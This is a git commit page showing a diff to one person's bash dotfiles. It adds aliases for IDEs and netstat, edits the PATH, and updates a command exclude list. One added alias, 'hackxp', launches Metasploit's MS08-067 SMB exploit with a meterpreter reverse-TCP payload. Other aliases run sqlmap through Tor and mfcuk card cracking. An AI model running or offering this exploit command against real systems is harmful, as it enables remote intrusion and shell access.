Browse Source

bash

master
Robin Thoni 8 years ago
parent
commit
2cd0d6e388
3 changed files with 7 additions and 3 deletions
  1. 4
    1
      bash/bash_aliases
  2. 1
    1
      bash/bashrc
  3. 2
    1
      bash/nma_exclude

+ 4
- 1
bash/bash_aliases View File

74
 alias studio="~/tools/android-studio/bin/studio.sh"
74
 alias studio="~/tools/android-studio/bin/studio.sh"
75
 alias sqlmap="~/tools/sqlmap-dev/sqlmap.py --proxy=socks5://127.0.0.1:9050 --check-tor --random-agent"
75
 alias sqlmap="~/tools/sqlmap-dev/sqlmap.py --proxy=socks5://127.0.0.1:9050 --check-tor --random-agent"
76
 alias clion="~/tools/clion-latest/bin/clion.sh"
76
 alias clion="~/tools/clion-latest/bin/clion.sh"
77
+alias idea="~/tools/idea-latest/bin/idea.sh"
77
 alias phpstorm="~/tools/phpstorm-latest/bin/phpstorm.sh"
78
 alias phpstorm="~/tools/phpstorm-latest/bin/phpstorm.sh"
78
 alias rgsd="killall gnome-settings-daemon; gnome-settings-daemon &"
79
 alias rgsd="killall gnome-settings-daemon; gnome-settings-daemon &"
79
-alias irc='LANG=fr xchat'
80
+alias irc='ssh irc'
80
 alias ms4="mount /media/serv4/downloads && cd /media/serv4/downloads"
81
 alias ms4="mount /media/serv4/downloads && cd /media/serv4/downloads"
81
 alias ums4="umount /media/serv4/downloads"
82
 alias ums4="umount /media/serv4/downloads"
82
 alias mfc="time mfcuk -C -s 250 -S 250 -v 4 -R"
83
 alias mfc="time mfcuk -C -s 250 -S 250 -v 4 -R"
93
 alias pycharm="~/tools/pycharm-latest/bin/pycharm.sh"
94
 alias pycharm="~/tools/pycharm-latest/bin/pycharm.sh"
94
 alias xcopy="xclip -selection clipboard"
95
 alias xcopy="xclip -selection clipboard"
95
 alias ap="rfkill unblock wifi && sudo create_ap --config /etc/create_ap.conf"
96
 alias ap="rfkill unblock wifi && sudo create_ap --config /etc/create_ap.conf"
97
+alias ns="sudo netstat -ntpa | grep LISTEN"
98
+alias hackxp="msfconsole -x 'use exploit/windows/smb/ms08_067_netapi; set payload windows/meterpreter/reverse_tcp; echo set LHOST my_ip; echo set RHOST target_ip'"

+ 1
- 1
bash/bashrc View File

119
     . /etc/bash_completion
119
     . /etc/bash_completion
120
   fi
120
   fi
121
 fi
121
 fi
122
-export PATH="$PATH:/sbin:/usr/sbin/:/usr/local/bin/android-studio/bin/:/home/robin/Android/Sdk/platform-tools/:/usr/local/bin/intellij/bin/;/home/robin/.composer/vendor/bin"
122
+export PATH="$PATH:/sbin:/usr/sbin/:/usr/local/bin/android-studio/bin/:/home/robin/Android/Sdk/platform-tools/:/usr/local/bin/intellij/bin/;/home/robin/.composer/vendor/bin:/home/robin/tools/maven/bin"
123
 
123
 
124
 reg_ip='([0-9]{1,3}\.){3}[0-9]{1,3}'
124
 reg_ip='([0-9]{1,3}\.){3}[0-9]{1,3}'
125
 reg_mac='([0-9a-f]{2}:){5}[0-9a-f]{2}'
125
 reg_mac='([0-9a-f]{2}:){5}[0-9a-f]{2}'

+ 2
- 1
bash/nma_exclude View File

1
 ^ssh
1
 ^ssh
2
+^irc$
2
 ^vim
3
 ^vim
3
 ^svim
4
 ^svim
4
 ^sudo vim
5
 ^sudo vim
7
 ^sudo watch
8
 ^sudo watch
8
 ^eog
9
 ^eog
9
 ^tail
10
 ^tail
10
-^wifi
11
+^wifi$

Loading…
Cancel
Save